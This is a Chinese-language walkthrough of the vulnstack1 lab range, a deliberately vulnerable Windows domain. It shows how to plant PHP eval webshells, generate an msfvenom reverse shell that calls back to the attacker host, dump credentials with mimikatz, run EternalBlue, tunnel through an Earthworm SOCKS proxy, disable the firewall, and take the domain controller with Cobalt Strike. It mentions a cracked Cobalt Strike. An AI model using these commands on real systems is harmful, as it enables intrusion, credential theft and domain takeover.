红日安全ATT&CK靶机实战系列之vulnstack1

声明

好好学习,天天向上

环境配置

下载地址,直接进去用百度云,没有会员也下的非常快

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

边下载着,可以开始vmware的网络配置

下图为官方给出的,从虚拟机网络来看

攻击者:kali+windows的攻击机
VM1:对外边界服务器,win7
VM2:域成员,2003
VM3:域控,2008

红日安全ATT&CK靶机实战系列之vulnstack1

所以这中间出现两个网段,一个外网网段,一个内网网段

鉴于需要两个网段,我们需要在vmware上做一些配置

首先,用一块仅主机的VMnet1(192.168.52.0),另一块NAT的VMnet8(192.168.239.0),这个不会调,可以百度

红日安全ATT&CK靶机实战系列之vulnstack1

调完Vmware,三台服务器都下好了,分别解压,然后,直接打开就好,主要是网络配置

win7相当于网关服务器,所以自然要两张网卡,顺序不要错哦

红日安全ATT&CK靶机实战系列之vulnstack1

2003连VMnet1

红日安全ATT&CK靶机实战系列之vulnstack1

2008连VMnet1

红日安全ATT&CK靶机实战系列之vulnstack1

网络配置完成,现在,可以登进去每个服务器看一看,是不是成功获取了IP,密码hongrisec@2019,三台服务器密码都过期了,都需要改密码,可以改成HONGRISEC@2019

下面是我自动获取的结果

攻击者:
kali
192.168.239.198

windows
192.168.239.158

靶场:
VM1:对外边界服务器,win7
192.168.52.143
192.168.239.202

VM2:域成员,2003
192.168.52.141

VM3:域控,2008
192.168.52.138

然后进入win7中,打开phpstudy

红日安全ATT&CK靶机实战系列之vulnstack1

环境配置到此结束

战斗

Web渗透

kali扫描存活

arp-scan -l
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.31.1/24

红日安全ATT&CK靶机实战系列之vulnstack1

扫描详细信息

nmap -T4 -A 192.168.239.202 -p 1-65535 -oN nmap.A

开启了80、135、3306

红日安全ATT&CK靶机实战系列之vulnstack1

访问80

http://192.168.239.202

自动跳转到了php探针,相当于给了我们一些信息

红日安全ATT&CK靶机实战系列之vulnstack1

往下翻,有mysql相关,试一试root/root

红日安全ATT&CK靶机实战系列之vulnstack1

果然是个弱口令

没啥思路了,就扫描目录

使用dirsearch

git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch
python3 dirsearch.py -u http://192.168.239.202

发现了不少有用的目录

红日安全ATT&CK靶机实战系列之vulnstack1

访问一下phpmyadmin,使用root可以正常登录

http://192.168.239.202/phpmyAdmin

红日安全ATT&CK靶机实战系列之vulnstack1

其实到了这一步,已经很有思路了,拿到了phpmyadmin的后台了,接下来就是想办法拿到shell了

两种方法:

方法1 phpmyadmin日志

利用phpmyadmin日志,写入一句话

先查看general log是否开启

show variables like '%general%';

红日安全ATT&CK靶机实战系列之vulnstack1

打开general_log日志读写功能

SET GLOBAL general_log='on'; SHOW VARIABLES LIKE '%general%';

红日安全ATT&CK靶机实战系列之vulnstack1

红日安全ATT&CK靶机实战系列之vulnstack1

制作一个木马文件,要根据图中general_log_file中的绝对路径

SET GLOBAL general_log_file='C:/phpStudy/www/shell.php'

红日安全ATT&CK靶机实战系列之vulnstack1

往这个shell.php中写入一句话

SELECT '<?php eval($_POST["cmd"]);?>'

红日安全ATT&CK靶机实战系列之vulnstack1

菜刀连一句话

http://192.168.239.202/shell.php

红日安全ATT&CK靶机实战系列之vulnstack1

红日安全ATT&CK靶机实战系列之vulnstack1

方法2 YXCMS模板

使用shell翻了翻目录,发现还有yxcms,dirsearch字典里面没有这个

红日安全ATT&CK靶机实战系列之vulnstack1

访问一下

http://192.168.239.202/yxcms/

注册一个,登录试试

红日安全ATT&CK靶机实战系列之vulnstack1

好像也没啥

红日安全ATT&CK靶机实战系列之vulnstack1

扫一下目录吧再,upload也不行

python3 dirsearch.py -u http://192.168.239.202/yxcms/

查看页面,提示后台

红日安全ATT&CK靶机实战系列之vulnstack1

访问后台

http://192.168.239.202/yxcms/index.php?r=admin

admin/123456

红日安全ATT&CK靶机实战系列之vulnstack1

CMS相关系列,能拿到后台的,离shell还远吗,不是日志写入一句话,就是某某模板编译写入一句话,找模板编辑的地方

这几个模板字,太亮眼了,点击进入编辑

红日安全ATT&CK靶机实战系列之vulnstack1

访问了多个模板php,发现都没法访问,只能对最熟悉的index下手

这个逻辑可能是,index_index.php,直接访问,是访问不到的,而,能通过调用index.php,间接调用index_index.php,所以我们往index_index.php中,插入一句话,连接的应该是index.php

红日安全ATT&CK靶机实战系列之vulnstack1

插入一句话

<?php eval($_POST["yx"]);?>

红日安全ATT&CK靶机实战系列之vulnstack1

菜刀连接

http://192.168.239.202/yxcms/index.php

红日安全ATT&CK靶机实战系列之vulnstack1

拿到shell

红日安全ATT&CK靶机实战系列之vulnstack1

权限维持/提升

现在已经拿到webshell了,接着就是持久化控制这个shell

3389远程登录

查看3389端口开了没,果然没开(菜刀直接ctrl+v)

netstat -an | find "3389"

开启3389

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

顺便附上关闭3389

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f

红日安全ATT&CK靶机实战系列之vulnstack1

添加用户,加管理员组权限

net user weizi 1234!@#$QWER /add
net localgroup administrators weizi /add
net user weizi

红日安全ATT&CK靶机实战系列之vulnstack1

远程连接3389,失败

红日安全ATT&CK靶机实战系列之vulnstack1

换思路

MSF

这次启动还挺漂亮的,不过用的是msfvenom

红日安全ATT&CK靶机实战系列之vulnstack1

使用msfvenom生成木马payload,里面的IP和端口自行修改,就是反弹shell的kali

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.239.198 lport=6666 -f exe -o shell.exe

生成一个shell.exe

再用菜刀传到刚刚的win7中

红日安全ATT&CK靶机实战系列之vulnstack1

红日安全ATT&CK靶机实战系列之vulnstack1

msf开启监听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.239.198
set lport 6666
run

红日安全ATT&CK靶机实战系列之vulnstack1

run了以后,可以去菜刀那里执行exe

红日安全ATT&CK靶机实战系列之vulnstack1

查看msf监听内容

红日安全ATT&CK靶机实战系列之vulnstack1

拿到了meterpreter的shell,开始提权,成功提权到system

getuid
getsystem
getuid

红日安全ATT&CK靶机实战系列之vulnstack1

开启远程桌面

run post/windows/manage/enable_rdp

成功开启了远程桌面,并且生成了一个txt文件,这个txt文件往后可用来关闭远程桌面,关闭命令

run multi_console_command -r /root/.msf4/loot/20210401140702_default_192.168.239.202_host.windows.cle_620509.txt

红日安全ATT&CK靶机实战系列之vulnstack1

我又回过头看了一下,域是Administrator

登录

红日安全ATT&CK靶机实战系列之vulnstack1

红日安全ATT&CK靶机实战系列之vulnstack1

Sunny-Ngrok隧道创建

建立隧道,就是端口转发,用他们的公网转到本地的内网3389

访问,自己创建一个账户,关注微信公众号

https://www.ngrok.cc/

选择美国Ngrok免费服务器

红日安全ATT&CK靶机实战系列之vulnstack1

这是我已经创建好的

红日安全ATT&CK靶机实战系列之vulnstack1

创建好后,记录下隧道id,下载客户端工具连接隧道id

红日安全ATT&CK靶机实战系列之vulnstack1

红日安全ATT&CK靶机实战系列之vulnstack1

启动后提示你输入隧道id,输入后,就可以看到online

红日安全ATT&CK靶机实战系列之vulnstack1

然后连接,好慢,不等了

红日安全ATT&CK靶机实战系列之vulnstack1

mimikatz破解密码

可以用菜刀上传一个mimikatz,然后执行

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt

红日安全ATT&CK靶机实战系列之vulnstack1

红日安全ATT&CK靶机实战系列之vulnstack1

右键编辑

红日安全ATT&CK靶机实战系列之vulnstack1

红日安全ATT&CK靶机实战系列之vulnstack1

或者用msf的meterpreter

查询explorer进程PID,为2680

ps
ps | find "explorer"

红日安全ATT&CK靶机实战系列之vulnstack1

红日安全ATT&CK靶机实战系列之vulnstack1

注入516,因为它是system

migrate 516
load mimikatz
mimikatz_command -f sekurlsa::searchPasswords

失败了,因为mimikatz已经被kiwi取代,功能更强大了,真牛

红日安全ATT&CK靶机实战系列之vulnstack1

获取密码

creds_all

红日安全ATT&CK靶机实战系列之vulnstack1

内网渗透

信息收集

这台服务器基本已经算是拿下了,现在可以进行横向,看看内网还有什么服务器了

需要先进行一波信息收集

ipconfig /all   # 查看本机ip,所在域
route print     # 打印路由信息
net view        # 查看局域网内其他主机名
arp -a          # 查看arp缓存
net start       # 查看开启了哪些服务
net share       # 查看开启了哪些共享
net share ipc$  # 开启ipc共享
net share c$    # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:""    # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名"    # 建立c盘共享
dir \\192.168.xx.xx\c$\user    # 查看192.168.xx.xx c盘user目录下的文件

net config Workstation    # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators    # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器(可能有多台)

查看内网IP

ipconfig /all

红日安全ATT&CK靶机实战系列之vulnstack1

查询域列表

net view /domain

红日安全ATT&CK靶机实战系列之vulnstack1

这里转蚁剑了,菜刀字体不太会调整,有点小

红日安全ATT&CK靶机实战系列之vulnstack1

红日安全ATT&CK靶机实战系列之vulnstack1

查看路由信息

红日安全ATT&CK靶机实战系列之vulnstack1

整理一下目前收集到的信息

该域名为god.org
域控为OWA$
域管理员为Administrator
密码为HONGRISEC@2019
内网网段为192.168.52.1/24

拿到域控IP192.168.52.138,及内网网段192.168.52.1/24

 ping owa.god.org

红日安全ATT&CK靶机实战系列之vulnstack1

使用cmd,写一个for循环,遍历最后一位255

对192.168.52.I进行ping(I在1-254之前,每次+1),如果结果返回有TTL就打印IP

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

回到msf,进入windows的shell,拿到了三个IP,其中一个是自己,一个是域控,还有一个域成员

shell

红日安全ATT&CK靶机实战系列之vulnstack1

内网IP表

域控192.168.52.138
web网关服务器192.168.52.143(已拿下)
还有一个域成员192.168.52.141

msf添加对141的路由

run autoroute -p
run autoroute -s 192.168.52.0/24
run autoroute -p

红日安全ATT&CK靶机实战系列之vulnstack1

横向渗透

加入了52段的路由,现在我就可以正常访问到52段了

扫描内网ms17_010,141存在

background
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.52.141
exploit

红日安全ATT&CK靶机实战系列之vulnstack1

漏洞利用

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.239.198
set LPORT 6667
set RHOST 192.168.52.141
exploit

执行失败了,说漏洞利用模块仅支持64位的,换个思路开启3389

红日安全ATT&CK靶机实战系列之vulnstack1

首先需要加代理

这里说一下为什么要加代理,我们的kali是239段的,内网是52段的,kali是无法直接访问52段,只能通过在刚拿下的52.143(239.202)这台win7上做个代理,这样,可以“假装”自己是52.143,通过52.143就可以访问其他52段的服务器

而刚刚做的路由,只是让msf能访问到52段,这个是让kali访问

Earthworm代理工具

下载地址

https://github.com/idlefire/ew
https://www.lanzous.com/i78bvvi

不太明白代理的童鞋可以看看这篇文章,说的非常详细了

https://my.oschina.net/u/4587410/blog/4984002

我这里就使用反向代理

kali,解压执行

unzip ew.zip
cd release
./ew_for_linux64 -s rcsocks -l 1080 -e 9999

红日安全ATT&CK靶机实战系列之vulnstack1

然后将ew_for_Win_exe使用蚁剑传送到win7,也就是我们的跳板机,192.168.239.202上,执行

cd C:\phpStudy\WWW
ew_for_Win.exe  -s rssocks -d 192.168.239.198 -e 9999

红日安全ATT&CK靶机实战系列之vulnstack1

kali修改proxychains配置文件

vim /etc/proxychains4.conf

结尾增加一行,别忘了要注释掉其他的

socks5 192.168.239.202 1080

红日安全ATT&CK靶机实战系列之vulnstack1

保存后,就可以访问了141试一试了,不加代理,没反应啊

proxychains nmap -Pn -sT 192.16.42.141
nmap -Pn -sT 192.16.42.141

红日安全ATT&CK靶机实战系列之vulnstack1

没有开启3389

proxychains4 nmap -p 3389 -Pn -sT 192.168.52.141

红日安全ATT&CK靶机实战系列之vulnstack1

利用msf开启3389(command参数是命令,还以先试试whoami能跑通不)

可以直接启动msf或者使用代理启动

proxychains4 msfconsole

00000000为开启

00000001位关闭

use auxiliary/admin/smb/ms17_010_command
set RHOSTS 192.168.52.141
set command whoami
set COMMAND REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
exploit

红日安全ATT&CK靶机实战系列之vulnstack1

再次查看3389端口,可以看到已经开启了

proxychains4 nmap -p 3389 -Pn -sT 192.168.52.141

红日安全ATT&CK靶机实战系列之vulnstack1

使用linux命令行开启141的3389,能打开,隧道建立完毕,正常连接

proxychains4 rdesktop 192.168.52.141

红日安全ATT&CK靶机实战系列之vulnstack1

有了这条路,我们就可以利用刚刚执行开启3389的地方,添加用户(模块还是一样,只是改了命令)

use auxiliary/admin/smb/ms17_010_command
set RHOSTS 192.168.52.141
set command net user weizi HONGRISEC@2019 /add
run

红日安全ATT&CK靶机实战系列之vulnstack1

加入管理员组

set command net localgroup administrators weizi /add
run

查看一下是否添加成功

set command net localgroup administrators
run

红日安全ATT&CK靶机实战系列之vulnstack1

然后使用exploit/windows/smb/ms17_010_psexec ,这次我加上用户名和密码试试看

use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.239.198
set LPORT 4444
set RHOST 192.168.52.141
set SMBUser weizi
set SMBPass HONGRISEC@2019
run

几经波折,还是打不进去,机器都打蓝屏了,硬是没有shell

红日安全ATT&CK靶机实战系列之vulnstack1

3389域账户过去吧

proxychains4 rdesktop 192.168.52.141
God\administrator
HONGRISEC@2019

红日安全ATT&CK靶机实战系列之vulnstack1

还可以磁盘映射过去上传东西

proxychains4 rdesktop 192.168.52.141 -r clipboard:PRIMARYCLIPBOARD -r disk:abc=/app/vulnstack/

域控

3389连接失败

proxychains4 rdesktop 192.168.52.138
proxychains nmap -Pn -sT 192.16.42.141 -p 3389

红日安全ATT&CK靶机实战系列之vulnstack1

红日安全ATT&CK靶机实战系列之vulnstack1

通过win7在域控上面上传一个msf马

先用win7连接域控的c盘共享

net use \\192.168.52.138\c$ "HONGRISEC@2019" /user:"administrator"
dir \\192.168.52.138\c$

红日安全ATT&CK靶机实战系列之vulnstack1

后面,大佬们将win7主机上的shell.exe上传到域控上,这个也不知道大佬最后怎么成的,反正感觉还是学到了不少了

补充:Cobalt Strike

CS地址,关注HACK学习呀,大佬!!我用的4.2破解版

毕竟还是学习,所以CS的思路的用法也是要练一练的,让我再次回到msf拿到shell的时候

红日安全ATT&CK靶机实战系列之vulnstack1

msf已经拿到了meterpreter

现在把这个meterpreter的shell派生到CS上面,也就是让CS也也拿到一个shell

MSF派生CS win7的Shell

打开CS,这是个服务器与客户端多对多架构的工具,先开服务端

./teamserver 192.168.239.198 123456

密码和证书一会登录的时候需要

红日安全ATT&CK靶机实战系列之vulnstack1

开启客户端

./cobaltstrike

密码就填刚刚的123456

红日安全ATT&CK靶机实战系列之vulnstack1

红日安全ATT&CK靶机实战系列之vulnstack1

创建一个Lisenter,相当于msf的handler

红日安全ATT&CK靶机实战系列之vulnstack1

红日安全ATT&CK靶机实战系列之vulnstack1

msf中我现在的这个meterpreter的session id为1

background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.239.198
set lport 7777
set session 1
run

红日安全ATT&CK靶机实战系列之vulnstack1

再次回到CS中,shell过来了,上线了

红日安全ATT&CK靶机实战系列之vulnstack1

CS这个炫酷的界面,反弹了shell

红日安全ATT&CK靶机实战系列之vulnstack1

拿到CSshell后,一般先将回显时间由默认的60s改成1s

sleep 1

红日安全ATT&CK靶机实战系列之vulnstack1

红日安全ATT&CK靶机实战系列之vulnstack1

CS的shell,执行windows的命令时,只需要在命令前加shell就好

红日安全ATT&CK靶机实战系列之vulnstack1

CS制作木马反弹Shell

添加一个用于接收beacon的listener

红日安全ATT&CK靶机实战系列之vulnstack1

制作木马

红日安全ATT&CK靶机实战系列之vulnstack1

红日安全ATT&CK靶机实战系列之vulnstack1

将生成的exe文件,用蚁剑拷贝到win7上,然后蚁剑执行

红日安全ATT&CK靶机实战系列之vulnstack1

CS拿到shell

红日安全ATT&CK靶机实战系列之vulnstack1

提权

目前,我们已经用CS拿到了两个win7的shell,后面的用哪个都可以

随便选一个进行漏洞提权

红日安全ATT&CK靶机实战系列之vulnstack1

当然要在加一个监听

红日安全ATT&CK靶机实战系列之vulnstack1

成功提权

红日安全ATT&CK靶机实战系列之vulnstack1

红日安全ATT&CK靶机实战系列之vulnstack1

横向移动

查看防火墙,关闭防火墙

shell netsh firewall show state
shell netsh advfirewall set allprofiles state off

获取域内目标,多执行几次,就会在Targets中找到局域网内的目标

net view

红日安全ATT&CK靶机实战系列之vulnstack1

查了很多次,就是没有52段的字眼,管他呢,直接弄

红日安全ATT&CK靶机实战系列之vulnstack1

可以看到目标中,name分三块

STU1也就是我们的win7

还有两台OWA和ROOT-TVI862UBEH,虽然IP没对上我们之前设置的52段的,但是在其中随便选一台先搞

红日安全ATT&CK靶机实战系列之vulnstack1

先抓取win7中的密码

hashdump

红日安全ATT&CK靶机实战系列之vulnstack1

logonpasswords

红日安全ATT&CK靶机实战系列之vulnstack1

执行完后,查看凭证

红日安全ATT&CK靶机实战系列之vulnstack1

红日安全ATT&CK靶机实战系列之vulnstack1

攻击域控

增加smb listener

红日安全ATT&CK靶机实战系列之vulnstack1

随便挑选一个OWA的,右键

红日安全ATT&CK靶机实战系列之vulnstack1

填入用户名密码,选择刚刚创建的Listener,选择System的那个Session,点击Lauch

红日安全ATT&CK靶机实战系列之vulnstack1

成功拿到域控权限

红日安全ATT&CK靶机实战系列之vulnstack1

红日安全ATT&CK靶机实战系列之vulnstack1

红日安全ATT&CK靶机实战系列之vulnstack1

同样的方式

红日安全ATT&CK靶机实战系列之vulnstack1

拿密码,选域,Listener还选刚刚的那个,Session选刚拿到的域控的

红日安全ATT&CK靶机实战系列之vulnstack1

成功上线,三台SYSTEM均拿到

红日安全ATT&CK靶机实战系列之vulnstack1

红日安全ATT&CK靶机实战系列之vulnstack1

上一篇:ATT&CK框架面临两大挑战


下一篇:1977年1月生男的求职 Job Hunting of One Man Born in January 1977